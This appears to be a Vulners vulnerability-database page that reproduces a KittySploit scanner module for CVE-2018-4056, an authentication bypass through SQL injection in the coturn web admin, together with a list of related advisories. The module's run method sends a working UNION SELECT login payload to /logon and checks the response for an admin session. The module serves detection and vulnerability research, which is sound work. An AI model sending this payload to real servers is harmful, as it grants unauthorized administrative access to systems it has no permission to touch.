Lucene search
+L

coturn - Web Admin Auth Bypass Detection (CVE-2018-4056)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 9 Views

SQL injection in coturn web admin /logon allows authentication bypass.

Related
Refs
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
turnserver -- multiple vulnerabilities
28 Jan 201900:00
–freebsd
bdu_fstec
BDU FSTEC
coTURN Server Unauthorized Access
15 Jul 202000:00
–bdu_fstec
circl
Circl
CVE-2018-4056
30 Jan 201915:07
–circl
cve
CVE
CVE-2018-4056
5 Feb 201918:00
–cve
cvelist
Cvelist
CVE-2018-4056
5 Feb 201918:00
–cvelist
debian
Debian
[SECURITY] [DLA 1671-1] coturn security update
11 Feb 201910:27
–debian
debian
Debian
[SECURITY] [DSA 4373-1] coturn security update
28 Jan 201907:36
–debian
debiancve
Debian CVE
CVE-2018-4056
5 Feb 201918:00
–debiancve
nessus
Tenable Nessus
Debian DLA-1671-1 : coturn security update
12 Feb 201900:00
–nessus
nessus
Tenable Nessus
Debian DSA-4373-1 : coturn - security update
29 Jan 201900:00
–nessus
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""coturn web admin SQLi authentication bypass (CVE-2018-4056)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'coturn - Web Admin Auth Bypass Detection (CVE-2018-4056)',
        'description': (
            'Detects CVE-2018-4056 by POSTing a UNION SELECT login payload to /logon and '
            'looking for Set Admin Session Realm after priming /favicon.ico.'
        ),
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': [
            'web', 'scanner', 'cve', 'cve2018', 'coturn', 'turn', 'sqli',
            'auth-bypass', 'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://talosintelligence.com/vulnerability_reports/TALOS-2018-0730',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-4056',
        ],
        'cve': 'CVE-2018-4056',
    }

    def run(self):
        self.http_request(method='GET', path='/favicon.ico', allow_redirects=False)
        r = self.http_request(
            method='POST',
            path='/logon',
            data="uname=%27+union+select+%27%27%2C%270000%27%3B+--&pwd=0000",
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return False
        body = r.text or ''
        if "<i>' union select" in body and 'Set Admin Session Realm' in body:
            self.set_info(
                severity='critical',
                reason='coturn web admin auth bypass via SQLi (CVE-2018-4056)',
                path='/logon',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
CVSS 3.19.8
CVSS 39.1
EPSS0.02955
9